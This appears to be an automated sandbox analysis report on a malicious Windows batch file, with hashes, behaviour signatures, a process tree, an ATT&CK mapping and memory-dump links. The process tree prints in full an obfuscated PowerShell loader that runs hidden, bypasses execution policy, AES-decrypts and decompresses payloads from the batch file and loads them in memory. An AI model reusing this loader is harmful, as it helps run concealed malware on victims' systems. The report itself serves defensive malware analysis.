39f91a1c272fa2ed8987492739c90d7d2b56fc8044e6993aa7c44826672a5e05

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
18/09/2024, 20:00

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General

Target

2.bat
Size

391KB
MD5

68fd26440f20aa6790eba0786027ba88
SHA1

bd56ea940ae2b97d962e18a255d593a5dc345e0a
SHA256

39f91a1c272fa2ed8987492739c90d7d2b56fc8044e6993aa7c44826672a5e05
SHA512

7352b0984f7385d90e39e8966e3abfea4ac3fcf4f2262e84ff921fdddc52d7f729b5d2fe91b2f6e44b0906fcc6597085338ca89bedbb697951c6adf733c779d2
SSDEEP

12288:wtheuJGmzkb1l9ReZqb0U69HolVXLuLoh4w:meuJ3k3DYP5NJw

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1636	powershell.exe

Deletes itself 1 IoCs

pid	Process
1484	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1636	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1636	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1484 wrote to memory of 1988	1484	cmd.exe	32
PID 1484 wrote to memory of 1988	1484	cmd.exe	32
PID 1484 wrote to memory of 1988	1484	cmd.exe	32
PID 1988 wrote to memory of 2088	1988	net.exe	33
PID 1988 wrote to memory of 2088	1988	net.exe	33
PID 1988 wrote to memory of 2088	1988	net.exe	33
PID 1484 wrote to memory of 1636	1484	cmd.exe	34
PID 1484 wrote to memory of 1636	1484	cmd.exe	34
PID 1484 wrote to memory of 1636	1484	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1484
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CHd1bQrFRfj3sVf6V2NJX/t2XM3oy0ERTV2Xa8JTbJ8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iocaEEyiLt2f2NiQyHjb/Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dDMCC=New-Object System.IO.MemoryStream(,$param_var); $EliqF=New-Object System.IO.MemoryStream; $IvsoA=New-Object System.IO.Compression.GZipStream($dDMCC, [IO.Compression.CompressionMode]::Decompress); $IvsoA.CopyTo($EliqF); $IvsoA.Dispose(); $dDMCC.Dispose(); $EliqF.Dispose(); $EliqF.ToArray();}function execute_function($param_var,$param2_var){ $VFZtL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZtGfA=$VFZtL.EntryPoint; $ZtGfA.Invoke($null, $param2_var);}$khsQT = 'C:\Users\Admin\AppData\Local\Temp\2.bat';$host.UI.RawUI.WindowTitle = $khsQT;$Helfs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($khsQT).Split([Environment]::NewLine);foreach ($CCfkN in $Helfs) { if ($CCfkN.StartsWith(':: ')) { $hQZcZ=$CCfkN.Substring(3); break; }}$payloads_var=[string[]]$hQZcZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1636-4-0x000007FEF5E0E000-0x000007FEF5E0F000-memory.dmp

Filesize
4KB

Download
memory/1636-6-0x00000000023C0000-0x00000000023C8000-memory.dmp

Filesize
32KB

Download
memory/1636-7-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/1636-8-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/1636-9-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/1636-5-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/1636-10-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/1636-11-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/1636-12-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download